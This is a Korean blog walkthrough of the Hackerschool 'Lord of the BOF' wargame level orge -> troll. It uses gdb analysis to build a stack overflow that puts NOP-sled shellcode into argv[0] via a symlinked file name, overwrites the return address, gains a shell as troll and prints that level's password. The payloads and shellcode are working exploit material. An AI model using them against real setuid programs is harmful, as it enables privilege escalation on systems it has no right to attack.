[lob] 해커스쿨 orge -> troll 풀이
- 보안/HackerSchool-lob
- 2020. 1. 17. 13:23
l 해커스쿨 orge 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
orge 문제의 아이디인 orge 와 password인 timewalker 을 입력하여 orge의 유저로 접속합니다.
[orge@localhost orge]$ ls -l total 20 -rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll -rw-r--r-- 1 root root 772 Mar 29 2010 troll.c |
ls -l 명령어를 사용하여 현재 위치( /home/orge ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 troll.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; // here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); } |
cat 명령어를 사용하여 troll.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.
힌트 코드를 분석해보겠습니다.
1. argc는 2 이어야 합니다.
2. 환경 변수 영역은 사용할 수 없습니다.
3. argv[1]의 48번째는 \xbf 이어야 합니다.
4. argv[1]의 길이는 48이하여야 합니다.
5. buffer의 영역은 사용할 수 없습니다.
6. argv[1]의 영역도 사용할 수 없습니다.
=> 즉 buffer와 argv[1]은 main이 끝나기 전에 0이 되는 영역입니다.
힌트 코드를 분석한 결과 argc는 2 이하 거나 이상일 수 없기 때문에 앞의 문제들처럼 argv[2]의 영역을 사용할 수 없습니다. 또한 argv[1]과 buffer의 영역도 0으로 되기 때문에 두 영역을 사용할 수가 없습니다. 따라서 이 문제를 풀 때는 argv[0]. 즉 파일명을 건드려야 합니다.
[orge@localhost orge]$ cp troll orge [orge@localhost orge]$ ls -l total 36 -rwsr-sr-x 1 orge orge 12693 Jan 15 13:06 orge -rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll -rw-r--r-- 1 root root 772 Mar 29 2010 troll.c |
문제를 풀기 전 퍼미션 문제 때문에 troll 파일을 복사해 orge라는 이름의 파일을 하나 생성하였습니다.
[orge@localhost orge]$ gdb orge GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048503 <main+3>: sub $0x2c,%esp 0x8048506 <main+6>: cmpl $0x2,0x8(%ebp) 0x804850a <main+10>: je 0x8048523 <main+35> 0x804850c <main+12>: push $0x8048690 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add $0x4,%esp 0x8048519 <main+25>: push $0x0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add $0x4,%esp 0x8048523 <main+35>: nop 0x8048524 <main+36>: movl $0x0,0xffffffd4(%ebp) 0x804852b <main+43>: nop 0x804852c <main+44>: lea 0x0(%esi,1),%esi 0x8048530 <main+48>: mov 0xffffffd4(%ebp),%eax 0x8048533 <main+51>: lea 0x0(,%eax,4),%edx 0x804853a <main+58>: mov 0x80497cc,%eax 0x804853f <main+63>: cmpl $0x0,(%eax,%edx,1) 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov 0xffffffd4(%ebp),%eax 0x804854a <main+74>: lea 0x0(,%eax,4),%edx 0x8048551 <main+81>: mov 0x80497cc,%eax 0x8048556 <main+86>: mov (%eax,%edx,1),%edx 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 <strlen> 0x804855f <main+95>: add $0x4,%esp 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push $0x0 0x8048567 <main+103>: mov 0xffffffd4(%ebp),%eax 0x804856a <main+106>: lea 0x0(,%eax,4),%edx 0x8048571 <main+113>: mov 0x80497cc,%eax 0x8048576 <main+118>: mov (%eax,%edx,1),%edx 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 <memset> 0x804857f <main+127>: add $0xc,%esp 0x8048582 <main+130>: incl 0xffffffd4(%ebp) 0x8048585 <main+133>: jmp 0x8048530 <main+48> 0x8048587 <main+135>: mov 0xc(%ebp),%eax 0x804858a <main+138>: add $0x4,%eax ---Type to continue, or q to quit--- 0x804858d <main+141>: mov (%eax),%edx 0x804858f <main+143>: add $0x2f,%edx 0x8048592 <main+146>: cmpb $0xbf,(%edx) 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push $0x80486a3 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add $0x4,%esp 0x80485a4 <main+164>: push $0x0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add $0x4,%esp 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov 0xc(%ebp),%eax 0x80485b3 <main+179>: add $0x4,%eax 0x80485b6 <main+182>: mov (%eax),%edx 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: call 0x80483f0 <strlen> 0x80485be <main+190>: add $0x4,%esp 0x80485c1 <main+193>: mov %eax,%eax 0x80485c3 <main+195>: cmp $0x30,%eax 0x80485c6 <main+198>: jbe 0x80485e0 <main+224> 0x80485c8 <main+200>: push $0x80486c0 0x80485cd <main+205>: call 0x8048410 <printf> 0x80485d2 <main+210>: add $0x4,%esp 0x80485d5 <main+213>: push $0x0 0x80485d7 <main+215>: call 0x8048420 <exit> 0x80485dc <main+220>: add $0x4,%esp 0x80485df <main+223>: nop 0x80485e0 <main+224>: mov 0xc(%ebp),%eax 0x80485e3 <main+227>: add $0x4,%eax 0x80485e6 <main+230>: mov (%eax),%edx 0x80485e8 <main+232>: push %edx 0x80485e9 <main+233>: lea 0xffffffd8(%ebp),%eax 0x80485ec <main+236>: push %eax 0x80485ed <main+237>: call 0x8048440 <strcpy> 0x80485f2 <main+242>: add $0x8,%esp 0x80485f5 <main+245>: lea 0xffffffd8(%ebp),%eax 0x80485f8 <main+248>: push %eax 0x80485f9 <main+249>: push $0x80486d7 0x80485fe <main+254>: call 0x8048410 <printf> 0x8048603 <main+259>: add $0x8,%esp 0x8048606 <main+262>: push $0x28 0x8048608 <main+264>: push $0x0 0x804860a <main+266>: lea 0xffffffd8(%ebp),%eax ---Type to continue, or q to quit--- 0x804860d <main+269>: push %eax 0x804860e <main+270>: call 0x8048430 <memset> 0x8048613 <main+275>: add $0xc,%esp 0x8048616 <main+278>: mov 0xc(%ebp),%eax 0x8048619 <main+281>: add $0x4,%eax 0x804861c <main+284>: mov (%eax),%edx 0x804861e <main+286>: push %edx 0x804861f <main+287>: call 0x80483f0 <strlen> 0x8048624 <main+292>: add $0x4,%esp 0x8048627 <main+295>: mov %eax,%eax 0x8048629 <main+297>: push %eax 0x804862a <main+298>: push $0x0 0x804862c <main+300>: mov 0xc(%ebp),%eax 0x804862f <main+303>: add $0x4,%eax 0x8048632 <main+306>: mov (%eax),%edx 0x8048634 <main+308>: push %edx 0x8048635 <main+309>: call 0x8048430 <memset> 0x804863a <main+314>: add $0xc,%esp 0x804863d <main+317>: leave 0x804863e <main+318>: ret 0x804863f <main+319>: nop End of assembler dump. |
orge 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x8048503 <main+3>: sub $0x2c,%esp
0x2C을 십진수로 변환하면 44입니다. 위의 코드는 스택에 44byte의 영역을 할당하는 것을 의미합니다.
2. 0x80485ed <main+237>: call 0x8048440 <strcpy>
orge.c 코드에서 strcpy 부분을 보면 argv[1]을 buffer에 대입하고 있습니다. 인자가 스택에 들어가는 순서는 argv[1]이 먼저 들어가고 그 다음 buffer가 들어가기 때문에 두 번째로 push 되는 주소인 <main + 233>이 buffer의 시작 주소가 됩니다.
11011000 => 00100111 => 00101000 = 8 + 32 = 40
즉, ebp - [0xffffffd8의 2의 보수 취한 값]이 buffer의 시작 주소가 되며 위치는 ebp - 40입니다.
메모리 구조를 보면 아래와 같습니다.
이번 문제에서 argv[0]을 이용할 것이기 때문에 우선 argv[0]의 위치를 찾아보도록 하겠습니다.
(gdb) b *main+242 Breakpoint 1 at 0x80485f2 (gdb) r `python -c 'print "A"*47+"\xbf"'` Starting program: /home/orge/orge `python -c 'print "A"*47+"\xbf"'` Breakpoint 1, 0x80485f2 in main () (gdb) x/10000s $esp .... 0xbffffc44: "i686" 0xbffffc49: "/home/orge/orge" 0xbffffc59: 'A' , "¿" .... |
strcpy 다음에 breakpoint를 걸어준 뒤 위와 같이 실행시켜보았습니다. 그리고 esp 지점부터 문자열로 10000개씩 출력한 결과 argv[0]의 위치를 찾을 수 있었습니다. argv[0]은 파일명을 의미하기 때문에 0xbffffc49 가 argv[0]의 주소가 됩니다.
[orge@localhost orge]$ cp troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` [orge@localhost orge]$ ls -l total 52 -rwsr-sr-x 1 orge orge 12693 Jan 15 13:06 orge -rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll -rw-r--r-- 1 root root 772 Mar 29 2010 troll.c -rwsr-sr-x 1 orge orge 12693 Jan 15 13:09 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î? [orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\x49\xfc\xff\xbf"'` Iüÿ¿ Segmentation fault (core dumped) |
셸 코드로 구성된 파일을 하나 생성하고, return 부분을 argv[0]의 주소로 하여 파일을 실행시켜 보았습니다. 그랬더니 core 파일이 생성되었고, 정확한 argv[0]의 주소를 찾기위해 core 파일을 gdb를 통해 분석하겠습니다.
[orge@localhost orge]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./'. Program terminated with signal 11, Segmentation fault. #0 0xbfffffef in ?? () (gdb) x/10000s $esp .... 0xbffffaa2: "./", '\220' , "ë\021^1ɱ2\200l\016ÿ\001\200é\001uöë\005èêÿÿÿ2ÁQi00tii0cjo\212äQT\212â\232±\fÎ\201" 0xbffffb39: "\236" .... |
core 파일에서 argv[0]의 주소를 확인한 결과 0xbffffaa2 입니다. 주소를 알았으니 이제 기존의 파일을 지우고, 셸 코드로 구성된 파일을 심볼릭 링크를 이용하여 다시 생성 후 return 주소에 결과로 나온 주소를 넣고 실행시켜보겠습니다.
페이로드는 다음과 같습니다.
| 페이로드
./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xa2\xfa\xff\xbf"'`
[orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` [orge@localhost orge]$ ls -l total 100 -rw------- 1 orge orge 61440 Jan 15 13:11 core -rwsr-sr-x 1 orge orge 12693 Jan 15 13:06 orge -rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll -rw-r--r-- 1 root root 772 Mar 29 2010 troll.c lrwxrwxrwx 1 orge orge 5 Jan 15 13:12 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î? -> troll [orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xa2\xfa\xff\xbf"'` ¢úÿ¿ bash$ id uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge) bash$ my-pass euid = 508 aspirin |
파일을 생성 후 위의 페이로드를 입력한 결과 id 명령을 통해 euid가 orge인 것을 확인할 수 있고, my-pass 명령을 통해 troll user의 패스워드도 알 수 있습니다.
l troll 비밀번호
euid = 508
aspirin
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 darkelf -> orge 풀이 (0) | 2020.01.19 |
---|---|
[lob] 해커스쿨 troll -> vampire 풀이 (0) | 2020.01.18 |
[lob] 해커스쿨 wolfman -> darkelf 풀이 (0) | 2020.01.16 |
[lob] 해커스쿨 orc -> wolfman 풀이 (0) | 2020.01.14 |
[lob] 해커스쿨 goblin -> orc 풀이 (0) | 2020.01.14 |
이 글을 공유하기